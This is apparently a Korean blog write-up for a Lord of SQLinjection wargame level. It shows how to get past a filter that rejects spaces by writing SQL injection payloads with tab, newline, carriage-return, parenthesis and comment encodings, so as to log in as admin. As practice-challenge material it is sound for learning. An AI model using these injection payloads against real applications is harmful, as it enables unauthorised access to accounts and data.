먼저 코드를 분석해보자.

이번엔 필터링이 하나 더 추가되었다. 

[ /  /i ]  pw 입력값에 띄어쓰기가 포함되면 No whitespace를 반환한다.

이번에도 역시 id값 입력값은 바꿀 수가 없이 guest로 고정되어있고, pw값에 id를 조작해야 한다.

id = admin 이 들어가도록 우회해야 하는데... 

일단 기본적으로 필터링 생각하지 않고 payload를 짜면 다음과 같다.

pw = ' ' or 1=1 and  id = 'admin '   이런식으로 들어가야 하는데... 이대로 넣으면

빈칸이 들어가면서 필터링이 된다.

%20만 들어가면 필터링이 된다..!!!

%20필터링을 우회할 수 있는 기법을 이용하면 될 것 같다. 다음과 같다.

%09 tab
%0a \n
%0d \r
+ 연결자
() 괄호
/* */  주석

1) tab 으로 우회

pw=%27%20or%201=1%20and%20id%20=%20%27admin

pw=%27%09or%091=1%09and%09id%09=%09%27admin

%20으로 payload를 짜고 %20인 부분을 모두 %09로 변경한다.

(성공)

2) \n 개행으로 우회

pw=%27%0aor%0a1=1%0aand%0aid%0a=%0a%27admin

%20인 부분을 모두 %0a로 변경한다.

(성공)

3)\r 개행으로 우회

pw=%27%0dor%0d1=1%0dand%0did%0d=%0d%27admin

%20인 부분을 모두 %0d로 변경한다.

(성공)

4 ) +으로 우회

+ 같은 경우 url 인코딩시 띄어쓰기로 인식하기 때문에 불가능

(실패)

5) ()로 우회

띄어쓰기를 하고 싶은 부분에 () 사용

인코딩 전 payload : pw='or(1=1)and(id)='admin

pw=%27or(1=1)and(id)=%27admin

(성공)

 

6) /* */ 띄어쓰기 주석으로 우회

pw='/**/or/**/1=1/**/and/**/id/**/=/**/'admin

%20인 부분을 모두 /* */ 로 변경한다.

(성공)

 

solve !!!!!!!!!!!

 

 

 

참고자료 

https://binaryu.tistory.com/31

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step.7 orge 풀이  (0) 2023.06.13
[LOS] step.6 darkelf 풀이  (0) 2023.06.12
[LOS] step.3 goblin 풀이  (0) 2023.06.12
[LOS] step.4 orc 풀이  (0) 2023.06.12
[LOS] step.2 cobolt 풀이  (0) 2023.05.24

+ Recent posts